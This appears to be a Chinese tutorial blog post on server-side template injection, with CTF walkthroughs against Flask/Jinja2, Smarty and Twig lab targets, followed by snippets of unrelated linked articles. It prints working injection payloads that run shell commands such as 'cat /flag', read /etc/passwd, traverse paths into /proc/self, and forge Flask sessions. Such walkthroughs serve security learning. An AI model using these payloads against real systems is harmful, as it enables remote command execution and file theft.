SSTI模板注入+CTF实例
参考文章:
一文了解SSTI和所有常见payload 以flask模板为例-腾讯云开发者社区-腾讯云 (tencent.com)
python-flask模块注入(SSTI) - ctrl_TT豆 - 博客园 (cnblogs.com)
ssti详解与例题以及绕过payload大全_ssti绕过空格-CSDN博客
1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)
SSTI服务端模板注入漏洞原理详解及利用姿势集锦 - 2ha0yuk7on - 博客园 (cnblogs.com)
基础概念理解(以flask模板为例)
- 模板引擎用于使用动态数据呈现内容。模板包括Ruby,Java,Twig,Smarty,AngularJS,Tornado,Flask/jinja2,Django,thymeleaf等。
- 就像SQL注入一样,攻击者通过在注入点构造恶意的sql语句去读取数据库数据。攻击者在进行SSTI攻击时,构造恶意的模板代码去干预模板渲染的过程,也会造成敏感信息泄露等问题
payload基础
sql注入中会有information.schema这样的重要库去爆出敏感信息,模板注入借助的是各个类之间的继承关系和一些重要的魔术方法,而object类是所有类的父类。
# 基本payload
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()## [].__class__:根据前面的变量形式可以得到其所属的类<class 'list'>
__class__:返回一个实例所属的类## __bases__[0]:获取object父类
__base__:返回该对象所继承的基类
__mro__:和__bases__一样,返回所有的父类## __subclasses__()[40]:获取所有子类,在所有子类中获取可以利用的类
__subclasses__:以列表返回类的子类## [40]('/etc/passwd').read():在类中获取可以利用的方法,执行命令
这里利用的是file类的read方法
绕过姿势
SSTI漏洞利用及绕过总结(绕过姿势多样)_java ssti漏洞-CSDN博客
CTF实例
BUUCTF-NewStarCTF2023-week3-GenShin(jinja2)
1.一开始用dirsearch去扫描目录,发现有/robots.txt和/console文件,以为有用,但是这道题考察的是ssiti注入。





2.看wp才知道,在根目录下有敏感目录/secr3tofpop,访问后需要输入name参数,这里有注入点。先用{{7*7}}尝试,发现被过滤。


3.最终payload:
?name={%print([].__class__.__base__.__subclasses__()[132].__enter__.__globals__["pop"+"en"]("cat%20/flag").read())%}
__subclasses__()[132]是os._wrap_close类,在第132个。这个类有popen方法,需要先使用__enter__方法再调用__globals__可以获取方法内以字典的形式返回的方法、属性等值。

BUUCTF-N1BOOK-第一章web入门 afr_3(flask session伪造)
1.页面一直进入到article,尝试输入?name=flag,显示no permission,应该是要更改cookie的session值。当输入index.php时,显示了index.php的路径:/home/nu11111111l/articles/index.php


2. 尝试使用../等来进行任意文件读取。
payload1:
?name=../../../proc/self/cmdline
Linux系统上的/proc目录是一种文件系统,即proc文件系统,存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前运行进程的信息,甚至可以通过更改其中这些文件来改变内核运行状态。
/proc/self 表示当前进程目录
/proc/self/cmdline 获取启动当前进程的完整命令。

3.得到运行命令:python server.py,再通过以下命令查看源码
payload2:
?name=../../../../proc/self/cwd/server.py
cwd文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录。


4.分析源码,发现运行了两个文件:flag.py, key.py。访问flag.py还是显示no permission,访问key.py,得到密钥。

5.在n1page方法里用到了render_template_string()方法,并且也用到了格式化字符串,可以判断这里存在模板注入。
在/n1page页面对post输入n1code进行了过滤,没有办法通过传入n1code的值来实现注入,但是可以直接更改session的值来操控输出,这里session被app.secret_key进行了加密。
ssti payload:
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
6.在这里要用kali下载flask-session-cookie-manager,执行命令:


BUUCTF-[CISCN2019 华东南赛区]Web11(smarty)
1.打开靶场,发现页面下方先是Build With Smarty !,说明模板引擎为smarty。

2.尝试修改XFF,用{$smarty.version}确认是否有漏洞,可以看到smarty的版本号。

3.因为smarty3已经弃用了{php}{/php}标签,所以这里用不了。
如果可以利用{php}{/php}标签,可以使用{php}{/php}标签来执行被包裹其中的php指令。
例如:{php}phpinfo();{/php}
4.对于php5的环境可以用以下payload,但是这道题是php7,所以这种方法也不行
x-forwarded-for: <script language="php">system('cat /flag')</script>

5.还可以用静态方法,但是在这里也不行。

6. 最终用的是if标签,在标签里面放置php命令
payload1:
x-forwarded-for: {if system('cat /flag')}{/if}
或者直接用{system('cat /flag')}也可以得到flag

BUUCTF-[BJDCTF2020]Cookie is so stable(Twig)
1.根据题目,用bp抓包,可以发现在/flag.php随便输入123时,可以抓到两个请求包,第2个请求包会在cookie里添加user参数,应该存在注入点。判断模板引擎,先输入{{7*7}},回显49,再输入{{7*'7'}},还是回显49,为Twig模板。

2.用以下payload判断Twig模板的版本。
Twig1.x的模板注入就是利用_self.env中的方法进行注入,_self会返回当前模板的实例,env会指向Twig_Environment,所以就是利用Twig_Environment中的其他方法。
因为在Twig 2.x及Twig 3.x,_self的作用发生了变化,只能返回当前实例名字符串,所以以下payload只能适用于Twig 1.x。
payload1:
Cookie:user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

3. 最后用以下payload得到flag。
payload:
Cookie: user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

相关文章:
SSTI模板注入+CTF实例
参考文章: 一文了解SSTI和所有常见payload 以flask模板为例-腾讯云开发者社区-腾讯云 (tencent.com) python-flask模块注入(SSTI) - ctrl_TT豆 - 博客园 (cnblogs.com) ssti详解与例题以及绕过payload大全_ssti绕过空格-CSDN博客 1. SSTI(模板注入&…...
iPhone 16 Pro 拆解揭秘:设计改进与维修便利性
苹果最新推出的iPhone 16系列在许多方面都进行了更新和改进,而这次我们要聚焦的是其中的高端型号——iPhone 16 Pro。 这款手机不仅在性能上有所提升,在内部构造上也带来了不少变化,让我们一起来看看这些细节吧。 更容易进入的内部结构 对于…...
Java项目实战II养老||基于Java+Spring Boot+MySQL的社区智慧养老监护管理平台设计与实现(源码+数据库+文档)
目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发,CSDN平台Java领域新星创作者,专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 随着老龄化…...
利用FnOS搭建虚拟云桌面,并搭建前端开发环境(二)
利用FnOS搭建虚拟云桌面,并搭建前端开发环境 二 一、docker镜像二、环境配置三、核心环境配置流程文档 利用FnOS搭建虚拟云桌面,并搭建前端开发环境(一) 上一章安装了飞牛FnOS系统,界面如下,这一张配置前端…...
【Python】Qwen-VL-7B box
VLLM-Qwen2-VL-7B-Instruct import cv2# 读取图像 image_path haibaoA.png # 替换为图像的路径 image cv2.imread(image_path)# 定义框的坐标 (x1, y1) 是左上角,(x2, y2) 是右下角 x1, y1 200, 550 # 左上角坐标 x2, y2 799, 750 # 右下角坐标 h, w image.…...
echarts按需引入解决项目大小问题
背景: 按需加载缩减项目大小,提升项目性能和可用性 实现: 创建echarts.js main.js进行配置 页面中引用 效果 全量导入 按需加载:...
天气预报echarts
如上图,可以切换温度,降水量,风力风向和空气质量 <template><el-radio-group v-model"selectedData" change"updateChart"><el-radio-button label"temperature">温度</el-radio-butto…...
Kafka-初识
一、Kafka是什么? Kafka是一个高度可扩展、弹性、容错和安全的分布式流处理平台,由服务器和客户端组成,通过高性能TCP网络协议进行通信。它可以像消息队列一样生产和消费数据。可以部署在裸机硬件、虚拟机和容器上,也可以部署在本…...
Redis的主要的特性和优势 ?
Redis 的主要特性 内存存储:Redis 将数据存储在内存中,这使得读写操作非常快速。它还支持将数据持久化到磁盘,以防止数据丢失。 丰富的数据结构:Redis 不仅支持简单的字符串键值对,还支持更复杂的数据结构,…...
yolov5-7.0模型DNN加载函数及参数详解(重要)
yolov5-7.0模型DNN加载函数及参数详解(重要) 引言yolov5(v7.0)1,yolov5.h(加载对应模型里面的相关参数要更改)2,main主程序(1)加载网络(2)检测推理࿰…...
StringEntity 用于将字符串内容作为 HTTP 请求实体(请求体)
StringEntity 类是 Apache HttpClient 库中的一个类,它用于将字符串内容作为 HTTP 请求实体(请求体)。这个类非常适合用于发送 JSON、XML 或其他需要以字符串形式发送的数据。以下是 StringEntity 类的一些常用方法和代码案例: …...
校园系统校园小程序 论坛校园圈系统失物招领、闲置二手、跑腿外卖等校园圈子系统应该具备有哪些功能
针对校园系统、校园小程序、论坛校园圈系统以及失物招领、闲置二手、跑腿外卖等具体功能,一个综合性的校园圈子系统应该具备以下主要功能: 前后端源码查看 一、基础功能 用户注册与登录 提供用户注册和登录功能,支持学生身份验证、手机号验…...
[AWS云]kafka调用和创建
背景:因为因为公司的项目需要使用AWS的kafka,但是在创建和使用过程中都遇到了一些报错和麻烦,毕竟老外的东西,和阿里云、华为使用起来还是不一样。 一、创建(创建的配置过程就略了,就是配置一下可用区、型号࿰…...
查看 Excel 应用程序中已打开的 Excel 文件的完整路径
要查看 Excel 应用程序中已打开的 Excel 文件的完整路径(全路径),你可以通过以下几种方法获取具体路径,尤其是在 VSTO 应用程序中。 方法1:使用 VSTO Excel 外接程序代码 在 VSTO 外接程序代码中,您可以直接…...
学习 RocketMQ 单机部署、消息发送、消息接收
文章目录 RocketMQ 介绍为什么要使用 MQ ?RocketMQ 与其他产品对比vs Kafkavs RabbitMQvs ActiveMQ RocketMQ 重要概念部署 Namesrver、Broker、Dashboard快速入门消息生产者消息消费者 消费模式简单消息1)同步发送2)异步发送3)单…...
【计算机网络】CDN
CDN(Content Delivery Network,内容分发网络)是一种分布式的服务器网络,旨在通过将内容缓存到多个地理位置的服务器上,加速内容的分发和传递。CDN 的主要目的是减少用户访问网站时的延迟,提升用户体验&…...
数据结构:插入排序
1.插入排序 此排序如打扑克牌一样;每次抓牌,把扑克从前向后扒拉;找到合适的位置插入进去—所以叫插入排序; 时间复杂度:O(N^2) int arr[10] { 9,8,7,6,5,4,3,2,1,0 };//数据太多就不好写了 …...
Nginx反向代理配置与负载均衡配置
简介:整理自黑马程序员苍穹外卖的第11节 nginx是什么? nginx的好处 nginx反向代理配置方式 nginx负载均衡的配置方式 nginx负责均衡策略...
axios 前端与 Django 后端的 POST 交互
背景 自己在写一些油猴脚本,前端需要用 JS,后端是自己的服务,是用 Python 的 Django 框架完成的。 油猴脚本中需要通过 POST 方法,向后端传一些数据,所以前端我用的是 axios 库,后端需要用 Django 处理 P…...
数据结构常用术语
一. 常见术语 数据相关 英文术语中文术语Data数据Data element数据元素Data item数据项Data structure数据结构Logical structure逻辑结构Data type数据类型 指针与存储 英文术语中文术语Pointer指针Sequential storage structure顺序存储结构Linked storage structure链状…...
想入行5G网络优化工程师?这6个求职陷阱你必须知道
5G网络优化工程师由于其入职门槛低,需求高,成为了不少想转行的人关注的岗位。 但对于刚入行的小白来说,求职路上往往布满陷阱。 作为一名行业接触过一些内幕的过来人,总结了6条找工作的核心建议,希望能帮大家少走弯路…...
极简OpenClaw技能开发:给Qwen3-32B-Chat扩展Excel处理能力
极简OpenClaw技能开发:给Qwen3-32B-Chat扩展Excel处理能力 1. 为什么需要自定义Excel处理技能 去年我接手了一个数据分析项目,每天需要处理几十份Excel报表。手动操作不仅耗时,还容易出错。当我尝试用OpenClaw自动化这个流程时,…...
别再只盯着IoU了!用Python手把手教你计算语义分割的95% Hausdorff距离(附完整代码)
超越IoU:用Python实战95% Hausdorff距离的医学影像分割评估 当我们在医院看到CT扫描图像上肿瘤边缘被红色轮廓线精准勾勒时,很少有人会思考这背后的算法是如何评估自己分割结果的准确性的。传统指标如IoU(交并比)和Dice系数固然流…...
从Address Editor入手:在Block Design中精准调整Bram存储深度的实战解析
1. 当Bram存储深度无法修改时,你该怎么做? 第一次在Vivado中使用Block Design搭建系统时,很多人都会遇到一个奇怪的现象:明明在Bram IP核的参数设置界面看到了"Depth"这个选项,但无论如何点击都无法修改。这…...
消防给水系统控制:西门子 S7 - 200 与昆仑通态触摸屏的奇妙组合
消防给水系统控制,西门子S7-200,昆仑通态触摸屏YH25 1.采用西门子S7-200PLC,CPU226EM223数字量模块EM231模拟量模块。 2.昆仑通态MCGS触摸屏及软件,可自行转换新版MCGSPRO程序。 3.两水泵一用二备和二用一备可切换,故障…...
网络安全这个技能学会了,不考研也能迅速找到高薪工作
网络安全这个技能学会了,不考研也能迅速找到高薪工作 近几年“考研热”持续升温,报名人数和报录比屡创新高。据数据显示:2003年全国考研人数仅仅才70万,直至2017年考研人数才刚刚突破200万。而今年考研人数居高达457万࿰…...
STM32F103测风扇转速,除了输入捕获,你还可以试试这个更省资源的“数脉冲”法
STM32F103风扇测速实战:输入捕获与数脉冲法的资源博弈 在嵌入式开发中,风扇转速监测是个看似简单却暗藏玄机的任务。面对STM32F103这类资源有限的Cortex-M3内核单片机,如何在保证功能的前提下最大化硬件利用率?传统输入捕获法虽精…...
某物APP的newSign与X-Auth-Token逆向分析与实战破解
1. 逆向分析前的环境准备 搞逆向分析的第一步永远是搭建好调试环境。这次我们用的测试机是Pixel 2,系统版本Android 9,目标APP版本v4.82.0。刚开始用Charles抓包时发现什么都抓不到,这其实是APP启用了防抓包机制——具体来说就是设置了Proxy.…...
手把手教你用深信服备份系统做整机恢复:从PXE到U盘启动的保姆级避坑指南
深信服整机恢复实战:PXE与U盘启动的深度避坑手册 当服务器突然宕机,硬盘彻底损坏时,整机恢复能力就是IT工程师的救命稻草。深信服备份系统的裸机恢复功能,能在没有操作系统的"裸机"上直接还原整个系统环境——但实际操作…...
LabelMe高级应用:如何利用AI辅助标注提升效率300%
LabelMe高级应用:如何利用AI辅助标注提升效率300% LabelMe是一款强大的图像标注工具,支持多边形、矩形、圆形、线条、点和图像级标记等多种标注方式。对于AI训练数据准备工作而言,高效的标注工具能显著提升工作流效率。本文将详细介绍如何利…...
